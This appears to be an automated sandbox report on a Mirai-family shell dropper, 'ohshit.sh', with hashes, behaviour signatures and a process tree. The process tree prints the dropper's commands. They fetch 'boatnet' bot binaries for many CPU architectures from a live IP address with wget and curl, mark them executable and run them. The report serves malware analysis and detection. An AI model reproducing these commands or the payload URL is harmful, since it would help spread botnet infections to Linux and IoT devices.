Analysis
-
max time kernel
44s -
max time network
47s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240611-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
23-12-2024 05:02
Static task
static1
Behavioral task
behavioral1
Sample
ohshit.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
ohshit.sh
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral3
Sample
ohshit.sh
Resource
debian9-mipsbe-20240611-en
General
-
Target
ohshit.sh
-
Size
3KB
-
MD5
e0ccd217979419469e913cbef10872f3
-
SHA1
6bbef022dcf450af81bee90522e4c82069c84064
-
SHA256
288bf21e07a5cc2a9f12c856ed829b9266878621c823542150ee74e961cc5d71
-
SHA512
38402719e384396071ab1f779eb0d67a55570ecfb04018e47cafdfd73ce04984e15c0d2942b446cee5652a449e22a8690812dbe5fd232736cb8a3939531255ce
Malware Config
Extracted
mirai
LZRD
Signatures
-
Mirai family
-
File and Directory Permissions Modification 1 TTPs 15 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 895 chmod 777 chmod 765 chmod 825 chmod 747 chmod 799 chmod 838 chmod 889 chmod 901 chmod 753 chmod 759 chmod 832 chmod 861 chmod 883 chmod 737 chmod -
Executes dropped EXE 15 IoCs
ioc pid Process /tmp/WTF 739 WTF /tmp/WTF 748 WTF /tmp/WTF 754 WTF /tmp/WTF 760 WTF /tmp/WTF 766 WTF /tmp/WTF 779 WTF /tmp/WTF 800 WTF /tmp/WTF 826 WTF /tmp/WTF 833 WTF /tmp/WTF 839 WTF /tmp/WTF 863 WTF /tmp/WTF 884 WTF /tmp/WTF 890 WTF /tmp/WTF 896 WTF /tmp/WTF 902 WTF -
resource yara_rule behavioral3/files/fstream-4.dat upx behavioral3/files/fstream-5.dat upx -
description ioc Process File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl -
System Network Configuration Discovery 1 TTPs 3 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 742 wget 744 curl 746 cat -
Writes file to tmp directory 21 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/WTF ohshit.sh File opened for modification /tmp/boatnet.mpsl wget File opened for modification /tmp/boatnet.arm7 curl File opened for modification /tmp/boatnet.ppc wget File opened for modification /tmp/boatnet.m68k wget File opened for modification /tmp/boatnet.mpsl curl File opened for modification /tmp/boatnet.arm wget File opened for modification /tmp/boatnet.arm6 wget File opened for modification /tmp/boatnet.ppc curl File opened for modification /tmp/boatnet.spc wget File opened for modification /tmp/boatnet.m68k curl File opened for modification /tmp/boatnet.sh4 curl File opened for modification /tmp/boatnet.i686 curl File opened for modification /tmp/boatnet.arm curl File opened for modification /tmp/boatnet.arm5 curl File opened for modification /tmp/boatnet.arm6 curl File opened for modification /tmp/boatnet.arm7 wget File opened for modification /tmp/boatnet.sh4 wget File opened for modification /tmp/boatnet.x86_64 curl File opened for modification /tmp/boatnet.arm5 wget File opened for modification /tmp/boatnet.spc curl
Processes
-
/tmp/ohshit.sh/tmp/ohshit.sh1⤵
- Writes file to tmp directory
PID:713 -
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.x862⤵PID:716
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.x862⤵
- Reads runtime system information
PID:727
-
-
/bin/catcat boatnet.x862⤵PID:736
-
-
/bin/chmodchmod +x ohshit.sh systemd-private-2b54cc0a1deb4caa8ff5b672da286b49-systemd-timedated.service-lRJNsh WTF2⤵
- File and Directory Permissions Modification
PID:737
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:739
-
-
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.mips2⤵
- System Network Configuration Discovery
PID:742
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.mips2⤵
- Reads runtime system information
- System Network Configuration Discovery
PID:744
-
-
/bin/catcat boatnet.mips2⤵
- System Network Configuration Discovery
PID:746
-
-
/bin/chmodchmod +x ohshit.sh systemd-private-2b54cc0a1deb4caa8ff5b672da286b49-systemd-timedated.service-lRJNsh WTF2⤵
- File and Directory Permissions Modification
PID:747
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:748
-
-
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.arc2⤵PID:750
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.arc2⤵
- Reads runtime system information
PID:751
-
-
/bin/catcat boatnet.arc2⤵PID:752
-
-
/bin/chmodchmod +x ohshit.sh systemd-private-2b54cc0a1deb4caa8ff5b672da286b49-systemd-timedated.service-lRJNsh WTF2⤵
- File and Directory Permissions Modification
PID:753
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:754
-
-
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.i4682⤵PID:756
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.i4682⤵
- Reads runtime system information
PID:757
-
-
/bin/catcat boatnet.i4682⤵PID:758
-
-
/bin/chmodchmod +x ohshit.sh systemd-private-2b54cc0a1deb4caa8ff5b672da286b49-systemd-timedated.service-lRJNsh WTF2⤵
- File and Directory Permissions Modification
PID:759
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:760
-
-
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.i6862⤵PID:762
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.i6862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:763
-
-
/bin/catcat boatnet.i6862⤵PID:764
-
-
/bin/chmodchmod +x boatnet.i686 ohshit.sh systemd-private-2b54cc0a1deb4caa8ff5b672da286b49-systemd-timedated.service-lRJNsh WTF2⤵
- File and Directory Permissions Modification
PID:765
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:766
-
-
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.x86_642⤵PID:767
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.x86_642⤵
- Reads runtime system information
- Writes file to tmp directory
PID:768
-
-
/bin/catcat boatnet.x86_642⤵PID:776
-
-
/bin/chmodchmod +x boatnet.i686 boatnet.x86_64 ohshit.sh systemd-private-2b54cc0a1deb4caa8ff5b672da286b49-systemd-timedated.service-lRJNsh WTF2⤵
- File and Directory Permissions Modification
PID:777
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:779
-
-
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.mpsl2⤵
- Writes file to tmp directory
PID:780
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.mpsl2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:788
-
-
/bin/catcat boatnet.mpsl2⤵PID:798
-
-
/bin/chmodchmod +x boatnet.i686 boatnet.mpsl boatnet.x86_64 ohshit.sh systemd-private-2b54cc0a1deb4caa8ff5b672da286b49-systemd-timedated.service-lRJNsh WTF2⤵
- File and Directory Permissions Modification
PID:799
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:800
-
-
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.arm2⤵
- Writes file to tmp directory
PID:804
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.arm2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:813
-
-
/bin/catcat boatnet.arm2⤵PID:824
-
-
/bin/chmodchmod +x boatnet.arm boatnet.i686 boatnet.mpsl boatnet.x86_64 ohshit.sh systemd-private-2b54cc0a1deb4caa8ff5b672da286b49-systemd-timedated.service-lRJNsh WTF2⤵
- File and Directory Permissions Modification
PID:825
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:826
-
-
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.arm52⤵
- Writes file to tmp directory
PID:828
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.arm52⤵
- Reads runtime system information
- Writes file to tmp directory
PID:830
-
-
/bin/catcat boatnet.arm52⤵PID:831
-
-
/bin/chmodchmod +x boatnet.arm boatnet.arm5 boatnet.i686 boatnet.mpsl boatnet.x86_64 ohshit.sh systemd-private-2b54cc0a1deb4caa8ff5b672da286b49-systemd-timedated.service-lRJNsh WTF2⤵
- File and Directory Permissions Modification
PID:832
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:833
-
-
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.arm62⤵
- Writes file to tmp directory
PID:835
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.arm62⤵
- Reads runtime system information
- Writes file to tmp directory
PID:836
-
-
/bin/catcat boatnet.arm62⤵PID:837
-
-
/bin/chmodchmod +x boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i686 boatnet.mpsl boatnet.x86_64 ohshit.sh systemd-private-2b54cc0a1deb4caa8ff5b672da286b49-systemd-timedated.service-lRJNsh WTF2⤵
- File and Directory Permissions Modification
PID:838
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:839
-
-
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.arm72⤵
- Writes file to tmp directory
PID:841
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.arm72⤵
- Reads runtime system information
- Writes file to tmp directory
PID:848
-
-
/bin/catcat boatnet.arm72⤵PID:860
-
-
/bin/chmodchmod +x boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i686 boatnet.mpsl boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:861
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:863
-
-
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.ppc2⤵
- Writes file to tmp directory
PID:866
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.ppc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:873
-
-
/bin/catcat boatnet.ppc2⤵PID:882
-
-
/bin/chmodchmod +x boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i686 boatnet.mpsl boatnet.ppc boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:883
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:884
-
-
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.spc2⤵
- Writes file to tmp directory
PID:886
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.spc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:887
-
-
/bin/catcat boatnet.spc2⤵PID:888
-
-
/bin/chmodchmod +x boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i686 boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:889
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:890
-
-
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.m68k2⤵
- Writes file to tmp directory
PID:892
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.m68k2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:893
-
-
/bin/catcat boatnet.m68k2⤵PID:894
-
-
/bin/chmodchmod +x boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i686 boatnet.m68k boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:895
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:896
-
-
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.sh42⤵
- Writes file to tmp directory
PID:898
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.sh42⤵
- Reads runtime system information
- Writes file to tmp directory
PID:899
-
-
/bin/catcat boatnet.sh42⤵PID:900
-
-
/bin/chmodchmod +x boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i686 boatnet.m68k boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:901
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:902
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
232B
MD57dfb9a4219d20c6babc4877451844e3c
SHA18b56a18d01c00f757df29faeb95b2711ecd3cd18
SHA2569177a352dcbf8875ebb2e22e682760d47faa4d77398add153dd7084e7568c5bc
SHA5127355451c27cd2fe7e03af772a8911fff879e64b04c8e002d4335ff890957a04e611e444131ddab6e171e0a21a72cbbe75f9b5cc338a72d2d24ec6d71d59998c9
-
Filesize
24KB
MD5141c0ef107c784d2edf8f36452607940
SHA18fa6077965a19f6532081d40e037555bf763a8d3
SHA256bdaaf1c702c08f65564847e37baba01f859c0850c5071a9a554b193efa760bc2
SHA51243c8e7e71fad65057540b88fcbb1edc2fa3d1ef9f5b4e523b78d425120b52707cf5a2d7575ab93cc090d616f9a524a6d97ed1b8ce17979bbebd11d39c256db14
-
Filesize
21KB
MD52706dca6a43829baaca013cae9c8a336
SHA1156da3f799279ed0e3a9bb704da91d292ec6e1e6
SHA25659601bd421bf7a72c0ec95ff44ea45aa241f88e832806defbbf77a9567a6c14c
SHA512f321779b067765c54218743a7db184b901f6487ac6f5fcc1b0b3748d465a6222256a86116fc903810853b10eded99652f7553ce43c46adb39c4b75c391bb77e2
-
Filesize
57KB
MD5549940fef5478737eae8c25bcfed0952
SHA1bc44d8bf8282eddc6df04beb5d1d3dac465371db
SHA256e2409e6b5b2b1769f1f4eca9ee84024a59145cdcf7bf7893fcc83095f1bbfced
SHA5123f8a2d29f312e3ce30a1491b83f2a70c8bfe67b752b6e490ea8f6d129f15ad3847eaffcdffca4238d5171b0b1f6d2eaf2cc21ed8fc5b2b2f016c98407a349e08